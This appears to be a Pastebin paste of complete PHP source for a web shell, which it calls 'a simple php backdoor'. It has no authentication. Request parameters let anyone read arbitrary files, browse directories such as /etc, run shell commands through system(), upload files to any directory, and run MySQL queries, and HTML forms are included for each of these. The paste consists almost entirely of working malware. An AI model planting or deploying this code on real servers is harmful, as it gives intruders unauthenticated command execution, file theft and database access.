Guest User

Untitled

a guest
Feb 11th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.80 KB | None | 0 0
  1. <?
  2. // a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\
  3.  
  4. ob_implicit_flush();
  5. if(isset($_REQUEST['f'])){
  6. $filename=$_REQUEST['f'];
  7. $file=fopen("$filename","rb");
  8. fpassthru($file);
  9. die;
  10. }
  11. if(isset($_REQUEST['d'])){
  12. $d=$_REQUEST['d'];
  13. echo "<pre>";
  14. if ($handle = opendir("$d")) {
  15. echo "<h2>listing of $d</h2>";
  16. while ($dir = readdir($handle)){
  17. if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
  18. else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
  19. echo "$dir\n";
  20. echo "</font></a>";
  21. }
  22.  
  23. } else echo "opendir() failed";
  24. closedir($handle);
  25. die ("<hr>");
  26. }
  27. if(isset($_REQUEST['c'])){
  28. echo "<pre>";
  29. system($_REQUEST['c']);
  30. die;
  31. }
  32. if(isset($_REQUEST['upload'])){
  33.  
  34. if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
  35. else $dir=$_REQUEST['dir'];
  36. $fname=$HTTP_POST_FILES['file_name']['name'];
  37. if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
  38. die('file uploading error.');
  39. }
  40. if(isset($_REQUEST['mquery'])){
  41.  
  42. $host=$_REQUEST['host'];
  43. $usr=$_REQUEST['usr'];
  44. $passwd=$_REQUEST['passwd'];
  45. $db=$_REQUEST['db'];
  46. $mquery=$_REQUEST['mquery'];
  47. mysql_connect("$host", "$usr", "$passwd") or
  48. die("Could not connect: " . mysql_error());
  49. mysql_select_db("$db");
  50. $result = mysql_query("$mquery");
  51. if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
  52. while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
  53. mysql_free_result($result);
  54. die;
  55. }
  56. ?>
  57. <pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
  58. <form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
  59. upload file:<input name="file_name" type="file"> to dir: <input type="text" name="dir">&nbsp;&nbsp;<input type="submit" name="upload" value="upload"></form>
  60. <hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
  61. <br>for example:
  62. http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
  63. or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
  64. <hr>execute mysql query:
  65. <form action="<? echo $PHP_SELF; ?>" METHOD=GET >
  66. host:<input type="text" name="host"value="localhost"> user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">
  67.  
  68. database: <input type="text" name="db"> query: <input type="text" name="mquery"> <input type="submit" value="execute">
  69. </form>
  70.  
  71. <!-- http://michaeldaw.org 2006 -->
Add Comment
Please, Sign In to add comment